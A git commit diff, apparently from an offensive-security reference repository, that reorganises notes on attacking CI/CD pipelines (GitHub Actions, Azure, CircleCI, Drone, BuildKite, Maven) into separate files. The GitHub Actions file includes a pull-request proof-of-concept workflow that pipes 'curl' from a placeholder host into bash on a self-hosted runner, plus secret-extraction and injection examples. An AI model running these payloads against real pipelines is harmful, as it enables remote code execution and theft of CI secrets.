IIS MachineKeys + CI/CD + CSPT + ORM leak
This commit is contained in:
16
CICD/Azure-DevOps.md
Normal file
16
CICD/Azure-DevOps.md
Normal file
@@ -0,0 +1,16 @@
|
||||
# Azure DevOps
|
||||
|
||||
## Azure Pipelines
|
||||
|
||||
The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\
|
||||
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction:
|
||||
|
||||
```yaml
|
||||
trigger:
|
||||
branches:
|
||||
include:
|
||||
- master
|
||||
- refs/tags/*
|
||||
pr:
|
||||
- master
|
||||
```
|
||||
12
CICD/BuildKite.md
Normal file
12
CICD/BuildKite.md
Normal file
@@ -0,0 +1,12 @@
|
||||
# BuildKite
|
||||
|
||||
The configuration files for BuildKite builds are located in `.buildkite/*.yml`\
|
||||
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- label: "Example Test"
|
||||
command: echo "Hello!"
|
||||
```
|
||||
15
CICD/CircleCI.md
Normal file
15
CICD/CircleCI.md
Normal file
@@ -0,0 +1,15 @@
|
||||
# CircleCI
|
||||
|
||||
The configuration files for CircleCI builds are located in `.circleci/config.yml`\
|
||||
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build:
|
||||
docker:
|
||||
- image: cimg/base:2022.05
|
||||
steps:
|
||||
- run: echo "Say hello to YAML!"
|
||||
```
|
||||
14
CICD/Drone-CI.md
Normal file
14
CICD/Drone-CI.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# Drone CI
|
||||
|
||||
The configuration files for Drone builds are located in `.drone.yml`\
|
||||
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: do-something
|
||||
image: some-image:3.9
|
||||
commands:
|
||||
- {Payload}
|
||||
```
|
||||
153
CICD/Github-Actions.md
Normal file
153
CICD/Github-Actions.md
Normal file
@@ -0,0 +1,153 @@
|
||||
# GitHub Actions
|
||||
|
||||
## Default Action
|
||||
|
||||
The configuration files for GH actions are located in the directory `.github/workflows/`\
|
||||
You can tell if the action builds pull requests based on its trigger (`on`) instructions:
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
pull_request:
|
||||
```
|
||||
|
||||
In order to run a command in an action that builds pull requests, add a `run` instruction to it.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Command execution
|
||||
steps:
|
||||
- run: echo whoami"
|
||||
```
|
||||
|
||||
|
||||
## Misconfigured Actions
|
||||
|
||||
Analyze repositories to find misconfigured Github actions.
|
||||
|
||||
* [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows.
|
||||
* [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD.
|
||||
```ps1
|
||||
# Using Docker
|
||||
$ docker run ghcr.io/boostsecurityio/poutine:latest
|
||||
|
||||
# Analyze a local repository
|
||||
$ poutine analyze_local .
|
||||
|
||||
# Analyze a remote GitHub repository
|
||||
$ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow
|
||||
|
||||
# Analyze all repositories in a GitHub organization
|
||||
$ poutine -token "$GH_TOKEN" analyze_org messypoutine
|
||||
|
||||
# Analyze all projects in a self-hosted Gitlab instance
|
||||
$ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo
|
||||
```
|
||||
|
||||
|
||||
### Repo Jacking
|
||||
|
||||
When the action is using a non-existing action, Github username or organization.
|
||||
|
||||
```yaml
|
||||
- uses: non-existing-org/checkout-action
|
||||
```
|
||||
|
||||
> :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/)
|
||||
|
||||
|
||||
### Untrusted Input Evaluation
|
||||
|
||||
An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Print issue title
|
||||
steps:
|
||||
- run: echo "${{github.event.issue.title}}"
|
||||
```
|
||||
|
||||
|
||||
### Extract Sensitive Variables and Secrets
|
||||
|
||||
**Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context.
|
||||
|
||||
**Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context.
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env
|
||||
steps:
|
||||
- name: Access Secrets
|
||||
env:
|
||||
SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }}
|
||||
run: |
|
||||
echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties
|
||||
```
|
||||
|
||||
* [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets.
|
||||
|
||||
|
||||
|
||||
|
||||
## Self-Hosted Runners
|
||||
|
||||
A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment.
|
||||
|
||||
Scan a public GitHub Organization for Self-Hosted Runners
|
||||
|
||||
* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool
|
||||
```ps1
|
||||
gato -s enumerate -t targetOrg -oJ target_org_gato.json
|
||||
```
|
||||
|
||||
There are 2 types of self-hosted runners: non-ephemeral and ephemeral.
|
||||
|
||||
* **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment.
|
||||
* **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary.
|
||||
|
||||
Identify the type of self-hosted runner with `gato`:
|
||||
|
||||
```ps1
|
||||
gato e --repository vercel/next.js
|
||||
[+] The authenticated user is: swisskyrepo
|
||||
[+] The GitHub Classic PAT has the following scopes: repo, workflow
|
||||
- Enumerating: vercel/next.js!
|
||||
[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners!
|
||||
[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
|
||||
- The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal
|
||||
[!] The repository contains a non-ephemeral self-hosted runner!
|
||||
[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible.
|
||||
```
|
||||
|
||||
Example of workflow to run on a non-ephemeral runner:
|
||||
|
||||
```yml
|
||||
name: POC
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
security:
|
||||
runs-on: non-ephemeral-runner-name
|
||||
|
||||
steps:
|
||||
- name: cmd-exec
|
||||
run: |
|
||||
curl -k https://ip.ip.ip.ip/exec.sh | bash
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners)
|
||||
* [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation)
|
||||
* [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot)
|
||||
137
CICD/README.md
137
CICD/README.md
@@ -32,6 +32,8 @@
|
||||
## Tools
|
||||
|
||||
* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Self-Hosted Runner Enumeration and Attack Tool
|
||||
* [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow) - A GitHub Actions Supply Chain CTF / Goat
|
||||
|
||||
|
||||
## Package managers & Build Files
|
||||
|
||||
@@ -120,29 +122,29 @@ NOTE: remember that your payload is inserted in an XML document - XML special ch
|
||||
```xml
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>exec-maven-plugin</artifactId>
|
||||
<version>1.6.0</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>run-script</id>
|
||||
<phase>validate</phase>
|
||||
<goals>
|
||||
<goal>exec</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
<configuration>
|
||||
<executable>bash</executable>
|
||||
<arguments>
|
||||
<argument>
|
||||
-c
|
||||
</argument>
|
||||
<argument>{XML-Escaped-Payload}</ argument>
|
||||
</arguments>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>exec-maven-plugin</artifactId>
|
||||
<version>1.6.0</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>run-script</id>
|
||||
<phase>validate</phase>
|
||||
<goals>
|
||||
<goal>exec</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
<configuration>
|
||||
<executable>bash</executable>
|
||||
<arguments>
|
||||
<argument>
|
||||
-c
|
||||
</argument>
|
||||
<argument>{XML-Escaped-Payload}</ argument>
|
||||
</arguments>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
```
|
||||
@@ -231,94 +233,6 @@ NOTE: Since this is an XML file - XML special characters must be escaped.
|
||||
```
|
||||
|
||||
|
||||
## CI/CD products
|
||||
|
||||
### GitHub Actions
|
||||
|
||||
The configuration files for GH actions are located in the directory `.github/workflows/`\
|
||||
You can tell if the action builds pull requests based on its trigger (`on`) instructions:
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
pull_request:
|
||||
```
|
||||
|
||||
In order to run an OS command in an action that builds pull requests - simply add a `run` instruction to it.\
|
||||
An action may also be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Print issue title
|
||||
steps:
|
||||
- run: echo "${{github.event.issue.title}}"
|
||||
```
|
||||
|
||||
|
||||
### Azure Pipelines (Azure DevOps)
|
||||
|
||||
The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\
|
||||
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction:
|
||||
|
||||
```yaml
|
||||
trigger:
|
||||
branches:
|
||||
include:
|
||||
- master
|
||||
- refs/tags/*
|
||||
pr:
|
||||
- master
|
||||
```
|
||||
|
||||
|
||||
### CircleCI
|
||||
|
||||
The configuration files for CircleCI builds are located in `.circleci/config.yml`\
|
||||
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build:
|
||||
docker:
|
||||
- image: cimg/base:2022.05
|
||||
steps:
|
||||
- run: echo "Say hello to YAML!"
|
||||
```
|
||||
|
||||
### Drone CI
|
||||
|
||||
The configuration files for Drone builds are located in `.drone.yml`\
|
||||
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: do-something
|
||||
image: some-image:3.9
|
||||
commands:
|
||||
- {Payload}
|
||||
```
|
||||
|
||||
|
||||
### BuildKite
|
||||
|
||||
The configuration files for BuildKite builds are located in `.buildkite/*.yml`\
|
||||
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- label: "Example Test"
|
||||
command: echo "Hello!"
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
@@ -326,3 +240,4 @@ steps:
|
||||
* [Poisoned Pipeline Execution](https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/)
|
||||
* [DEF CON 25 - spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems](https://youtu.be/mpUDqo7tIk8)
|
||||
* [Azure-Devops-Command-Injection](https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection)
|
||||
* [x33fcon lighting talk - Hacking Java serialization from python - Tomasz Bukowski](https://youtu.be/14tNFwfety4)
|
||||
Reference in New Issue
Block a user